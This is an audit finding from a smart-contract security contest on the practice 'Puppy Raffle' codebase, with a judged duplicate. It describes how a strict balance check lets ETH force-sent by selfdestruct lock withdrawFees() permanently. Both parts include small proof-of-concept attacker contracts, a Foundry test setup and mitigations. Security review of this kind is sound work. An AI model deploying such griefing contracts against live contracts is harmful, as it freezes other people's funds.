Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees() Can Be Permanently Bricked by Forced ETH

sexretxt

Root + Impact

Description

Normal behavior:
The protocol accumulates a 20% fee from each completed raffle round.
These fees are tracked in the totalFees state variable and are intended to be withdrawn by the protocol owner via the withdrawFees() function.

To ensure fees are not withdrawn while players are still active, the function enforces the following invariant:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

This implicitly assumes that the entire ETH balance of the contract is always equal to totalFees once raffles are complete.

Issue:
This assumption is incorrect and unsafe.

In Ethereum, ETH can be forcefully sent to any contract without calling its functions, most commonly via selfdestruct.
When this happens:

  • address(this).balance increases

  • totalFees does not change

  • The equality invariant becomes permanently false

Because the condition uses strict equality (==), even a single wei of forced ETH causes withdrawFees() to revert forever.

There is no recovery path in the contract to reconcile this mismatch.

function withdrawFees() external {
require(address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!");
...
}

Risk

Likelihood:

  • Reason 1: ETH can always be force-sent to a contract without calling any function.

  • Reason 2: No recovery mechanism exists to reconcile balance mismatches.

Impact:

  • Impact 1: The owner permanently loses access to collected protocol fees.

  • Impact 2: Fee accounting becomes irreversibly broken.

Proof of Concept

contract ForceSend {
constructor() payable {}
​
function attack(address target) external {
selfdestruct(payable(target));
}
}

Steps:

  1. Deploy ForceSend with 1 wei.

  2. Call attack(address(PuppyRaffle)).

  3. Contract balance increases without updating totalFees.

  4. withdrawFees() reverts forever.

Recommended Mitigation

Relax the equality constraint or decouple fee accounting from raw balance checks:

- require(address(this).balance == totalFees, "...");
+ require(address(this).balance >= totalFees, "...");

Or decouple fee accounting entirely from address(this).balance.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!